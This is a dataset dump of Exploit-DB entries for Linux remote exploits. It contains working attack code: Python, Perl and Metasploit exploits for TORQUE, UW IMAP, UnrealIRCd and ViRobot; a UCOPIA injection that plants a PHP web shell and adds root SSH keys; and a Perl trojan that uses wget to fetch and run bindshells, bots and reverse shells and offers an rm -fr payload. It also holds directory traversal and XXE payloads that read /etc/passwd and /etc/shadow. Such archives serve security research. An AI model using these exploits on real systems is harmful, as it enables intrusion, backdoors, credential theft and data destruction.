deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33554
Description: TORQUE Resource Manager 2.5.x < 2.5.13 - Stack Buffer Overflow Stub
Type: remote
Platform: linux
Date: 2014-05-28
Author: bwall

Exploit:
#!/usr/bin/env python
# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub
# Date: 27 May 2014
# Exploit Author: bwall - @botnet_hunter
# Vulnerability discovered by: MWR Labs
# CVE: CVE-2014-0749
# Vendor Homepage: http://www.adaptivecomputing.com/
# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/
# Version: 2.5.13
# Tested on: Manjaro x64
# Description:
# A buffer overflow while parsing the DIS network communication protocol.  It is triggered when requesting that
# a larger amount of data than the small buffer be read.  The first digit supplied is the number of digits in the
# data, the next digits are the actual size of the buffer.
#
# This is an exploit stub, meant to be a quick proof of concept.  This was built and tested for a 64 bit system
# with ASLR disabled.  Since Adaptive Computing does not supply binary distributions, TORQUE will likely be
# compiled on the target system.  The result of this exploit is intended to just point RIP at 'exit()'

import socket


ip = "172.16.246.177"
port = 15001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

offset = 143
header = str(len(str(offset))) + str(offset) + '1'

packet = header
packet += "\x00" * (140 - len(packet))
packet += ('\xc0\x18\x76\xf7\xff\x7f\x00\x00') # exit() may require a different offset in your build

s.sendall(packet)
data = s.recv(1024)
s.close()
Exploit-DB #44047
Description: Trustwave SWG 11.8.0.27 - SSH Unauthorized Access
Type: remote
Platform: linux
Date: 2017-12-26
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes an unauthorized access vulnerability that allows an unauthenticated user to add their own SSH key to a remote Trustwave SWG version 11.8.0.27.

Trustwave Secure Web Gateway (SWG) “provides distributed enterprises effective real-time protection against dynamic new malware, strong policy enforcement, and a unique Zero-Malware Guarantee when managed for you by our experts.”

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Trustwave was informed of the vulnerability, and released the following advisory: https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway/

CVE: CVE-2017-18001

## Vulnerability details
Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device.

This allows unauthenticated user to send a POST request to /sendKey

```
POST /sendKey HTTP/1.1
Host: trustwave.device:5222
Content-Length: 558
content-type: multipart/form-data
user-agent: libwww-perl/6.15
Connection: close
 
--xYzZY
Content-Disposition: form-data; name="publicKey"; filename="public_key_to_send"
Content-Type: text/plain
 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxLGHCIST4jLDreJoQZnIZX6Fcx/ZyM1dzR2ZSwPG7UC3GYs61/cRGFvL9yuPZwIn8f/p9MCMoKHIG1gNZu0i7pqqZgB5vL+Dbf1vXl4PLY0wwcNMyVUBJaTSHdHSqe1KGBcM/1/gMsGpgcOJw2XMNubmXZxRSFSQLca1BsDmEyPF1KVpGfk60GtEH+c5E6ScEaTP7h0NcM6zEl9gubO2R+cq9FsPcMwF4bdsxyEZYGtVdS8B4goewEt1Nj+1hAzBWGox+hySee0QshZFAvZUrfcn4TsOd1iT95jAFoIDReQn781hmT6YQBpnl7HbDp6otyXAxrsvMOg1fvriAzHv rsyncuser
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
--xYzZY--
```

Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device:


```
 /usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device
Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x
SWG Version               : 11.8.0.27
SWG Maintenance Release   : 0
Role                      : vs
Machine Type              : NG-6000
```

If we will run the id command via ssh we will get the following response:

```
-sh-4.1$ id
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)
```

Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py

```
# sudo /opt/finjan/msh/run_inside.py bash
bash-4.1# id
uid=0(root) gid=0(root) groups=0(root)
```
Exploit-DB #42949
Description: UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Root Remote Code Execution
Type: remote
Platform: linux
Date: 2017-10-02
Author: agix

Exploit:
# Exploit Title: Unauthenticated remote root code execution on captive
portal Ucopia <= 5.1
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network

# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=127.0.0.1;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t

# As php is in sudoers without password...
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("id");%27

# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("echo%20ssh-rsa%20AAAA[...]%20>>%20/root/.ssh/authorized_keys");%27
Exploit-DB #51000
Description: uftpd 2.10 - Directory Traversal (Authenticated)
Type: remote
Platform: linux
Date: 2022-08-02
Author: Aaron Esau

Exploit:
# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)
# Google Dork: N/A
# Exploit Author: Aaron Esau (arinerron)
# Vendor Homepage: https://github.com/troglobit/uftpd
# Software Link: https://github.com/troglobit/uftpd
# Version: 2.7 to 2.10
# Tested on: Linux
# CVE : CVE-2020-20277
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277
# Reference: https://arinerron.com/blog/posts/6
#Product: uftpd 2.7 to 2.10

#Proof-Of-Concept:
1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. 

#Steps
1-Setup nc listener on attacking machine on TCP port 1258
nc -lnvp 1258

2-Login to the FTP service

3-List files 
ftp> ls ../../../

3-Set attacker's IP address and retrieve files
PORT 127,0,0,1,1,1002
RETR ../../../etc/passwd
Exploit-DB #10025
Description: University of Washington - imap LSUB Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2000-04-16
Author: patrick

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the 'LSUB'
				command of the University of Washington IMAP service.
				This vulnerability can only be exploited with a valid username
				and password.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2000-0284' ],
					[ 'OSVDB', '12037' ],
					[ 'BID', '1110' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/284' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 964,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
					'Compat'   => 
						{
							'ConnectionType' => '-reverse',
						},
				},
			'Platform'       => 'linux',	
			'Targets'        => 
				[
					['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
				],
			'DisclosureDate' => 'Apr 16 2000',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /IMAP4rev1 v12.264/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe

	end

	def exploit
		connect_login

		print_status("Sending overflow string...")
		req = "a002 LSUB \"\" {1064}\r\n"
		sock.put(req)
		sleep(2)

		sploit = payload.encoded + rand_text_alphanumeric(64) + [target['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"

		sock.put(sploit)
		sleep(2)

		handler
		disconnect
	end

end
Exploit-DB #16922
Description: UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2010-12-05
Author: Metasploit

Exploit:
##
# $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the
				Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
				Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11227 $',
			'References'     =>
				[
					[ 'CVE', '2010-2075' ],
					[ 'OSVDB', '65445' ],
					[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 12 2010'))

		register_options(
			[
				Opt::RPORT(6667)
			], self.class)
	end

	def exploit
		connect

		print_status("Connected to #{rhost}:#{rport}...")
		banner = sock.get_once(-1, 30)
		banner.to_s.split("\n").each do |line|
			print_line("    #{line}")
		end

		print_status("Sending backdoor command...")
		sock.put("AB;" + payload.encoded + "\n")

		handler
		disconnect
	end
end
Exploit-DB #13853
Description: UnrealIRCd 3.2.8.1 - Remote Downloader/Execute
Type: remote
Platform: linux
Date: 2010-06-13
Author: anonymous

Exploit:
#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)

use Socket;
use IO::Socket;

## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';

$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];

if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }

sub usage {
  printf "\nUsage :\n";
  printf "perl unrealpwn.pl <host> <port> <type>\n\n";
  printf "Command list :\n";
  printf "[1] - Perl Bindshell\n";
  printf "[2] - Perl Reverse Shell\n";
  printf "[3] - Perl Bot\n";
  printf "-----------------------------\n";
  printf "[4] - shutdown ircserver\n";
  printf "[5] - delete ircserver\n";
  exit(1);
}

sub unreal_trojan {
  my $ircserv = $host;
  my $ircport = $port;
  my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
  print "[+] Payload sent ...\n";
  if ($type eq "1") {
    print $sockd "$payload1";
  } elsif ($type eq "2") {
    print $sockd "$payload2";
  } elsif ($type eq "3") {
    print $sockd "$payload3";
  } elsif ($type eq "4") {
    print $sockd "$payload4";
  } elsif ($type eq "5") {
    print $sockd "$payload5";
  } else {
    printf "\nInvalid Option ...\n\n";
    usage();
  }
  close($sockd);
  exit(1);
}

unreal_trojan();
# EOF
Exploit-DB #16846
Description: UoW IMAPd Server - LSUB Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-03-26
Author: Metasploit

Exploit:
##
# $Id: imap_uw_lsub.rb 8932 2010-03-26 19:00:23Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the 'LSUB'
				command of the University of Washington IMAP service.
				This vulnerability can only be exploited with a valid username
				and password.
			},
			'Author'         => [ 'patrick', 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8932 $',
			'References'     =>
				[
					[ 'CVE', '2000-0284' ],
					[ 'OSVDB', '12037' ],
					[ 'BID', '1110' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/284' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 964,
					'BadChars' => "\x00\x0a\x0d\x2f",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'linux',
			'Targets'        =>
				[
					# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
					[ 'Linux Bruteforce',
						{
							'Platform'   => 'linux',
							'Offset'     => 1064,
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xbffffdfc },
									'Stop'  => { 'Ret' => 0xbfa00000 },
									'Step'  => 200
								}
						},
					]
				],
			'DisclosureDate' => 'Apr 16 2000',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /IMAP4rev1 v12.264/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe

	end

	def brute_exploit(addresses)
		print_status("Trying 0x%.8x ..." % addresses['Ret'])

		if (not connect_login)
			raise RuntimeError, "Unable to log in!"
		end

		req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
		sock.put(req)
		buf = sock.get_once

		sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #34426
Description: uzbl 'uzbl-core' - '@SELECTED_URI' Mouse Button Bindings Command Injection
Type: remote
Platform: linux
Date: 2010-08-05
Author: Chuzz

Exploit:
source: https://www.securityfocus.com/bid/42297/info

uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting.

To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button.

Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application. 

<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html>
Exploit-DB #32225
Description: Vim - 'mch_expand_wildcards()' Heap Buffer Overflow
Type: remote
Platform: linux
Date: 2005-01-29
Author: Brian Hirt

Exploit:
source: https://www.securityfocus.com/bid/30648/info

Vim is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects Vim 6.2.429 through 6.3.058. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32225.zip
Exploit-DB #32289
Description: Vim 7.1.314 - Insufficient Shell Escaping Multiple Command Execution Vulnerabilities
Type: remote
Platform: linux
Date: 2008-08-19
Author: Ben Schmidt

Exploit:
source: https://www.securityfocus.com/bid/30795/info

Vim is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Versions prior to Vim 7.2.010 are vulnerable. 

Copy-and-paste these examples into separate files:

;xclock
vim: set iskeyword=;,@

Place your cursor on ``xclock'', and press K. xclock appears.

;date>>pwned
vim: set iskeyword=1-255

Place your cursor on ``date'' and press K. File ``pwned'' is created in
the current working directory.

Please note: If modeline processing is disabled, set the 'iskeyword'
option manually.
Exploit-DB #35644
Description: Viola DVR VIO-4/1000 - Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: linux
Date: 2011-04-19
Author: QSecure

Exploit:
source: https://www.securityfocus.com/bid/47509/info

Viola DVR is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

Viola DVR VIO-4/1000 is vulnerable; other products may also be affected. 

http://www.example.com/cgi-bin/wappwd?FILEFAIL=../../../etc/passwd
http://www.example.com/cgi-bin/wapopen?FILECAMERA=../../../etc/passwd
Exploit-DB #1047
Description: ViRobot Advanced Server 2.0 - 'addschup' Remote Cookie
Type: remote
Platform: linux
Date: 2005-06-14
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl
# ViRobot 2.0 remote cookie exploit - ala addschup
# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# ls: /var/spool/cron/root: No such file or directory
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# -rw-r--r--  1 root staff 104 2005-01-23 14:43 /var/spool/cron/root
#
# We control the 6th paramater passed to an fprintf call.
#
# 0x804a740 <_IO_stdin_used+572>:  "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1\n"
#
# * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &/ViRobot/vrupdate -s > /dev/null 2>&1


use IO::Socket;
$hostName = $ARGV[0];

$sock = IO::Socket::INET->new (
               Proto => "tcp",
               PeerAddr => $hostName,
               PeerPort => 8080,
               Type => SOCK_STREAM
);

if (! $sock)
{
       print "[*] Error, could not connect to the remote host: $!\n";
       exit (0);
}

$target = "/cgi-bin/addschup";
$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &";
$postbody = "POST $target HTTP/1.1\n" .
"Host: localhost:8080\n" .
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5\n" .
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" .
"Accept-Encoding: gzip,deflate\n" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .
"Keep-Alive: 300\n" .
"Connection: keep-alive\n" .
"Content-type: application/x-www-form-urlencoded\n" .
"Content-length: 1\n" .
"Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";

print $sock $postbody;
close ($sock);
exit (0);

# milw0rm.com [2005-06-14]
Exploit-DB #35799
Description: Vordel Gateway 6.0.3 - Directory Traversal
Type: remote
Platform: linux
Date: 2011-05-25
Author: Brian W. Gary

Exploit:
source: https://www.securityfocus.com/bid/47975/info

Vordel Gateway is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.

Vordel Gateway 6.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com:8090/manager/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow
Exploit-DB #4362
Description: Web Oddity Web Server 0.09b - Directory Traversal
Type: remote
Platform: linux
Date: 2007-09-04
Author: Katatafish

Exploit:
# Web Oddity Web Server 0.09b Directory Transversal Vulnerability
# Found by: Katatafish (karatatata@hush.com)
# Download: http://sourceforge.net/project/showfiles.php?group_id=13854
# Thanks: str0ke

use LWP::Simple;
use strict;

sub usage
{
       print "----------------------------------------------------- - -----------\n";
       print "Web Oddity Web Server 0.09b Directory Transversal Vulnerability\n";
       print "\n";
       print "usage: $0 www.site.com\n";
       print "------------------------------------------------- Katatafish-----\n";
       exit ();
}

my $host=shift || &usage;
getprint 'http://' . $host . '/../../../../../../../etc/passwd';

# milw0rm.com [2007-09-04]
Exploit-DB #33034
Description: WebKit - XML External Entity Information Disclosure
Type: remote
Platform: linux
Date: 2009-05-08
Author: Chris Evans

Exploit:
source: https://www.securityfocus.com/bid/35321/info

WebKit is prone to a remote information-disclosure vulnerability.

An attacker can exploit this issue to obtain sensitive information that may aid in further attacks.

NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it. 

Safari prior to version 4 may permit an evil web page to steal files
from the local system.

This is accomplished by mounting an XXE attack against the parsing of
the XSL XML. This is best explained with a sample evil XSL file which
includes a DTD that attempts the XXE attack:

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

To mount the attack, the attacker would serve a web page which has XML
MIME type and requests to be styled by the evil stylesheet:

<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?>
<xml>
irrelevant
</xml>

Full technical details: http://scary.beasts.org/security/CESA-2009-006.html

Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html
(includes 1-click demos)

Cheers
Chris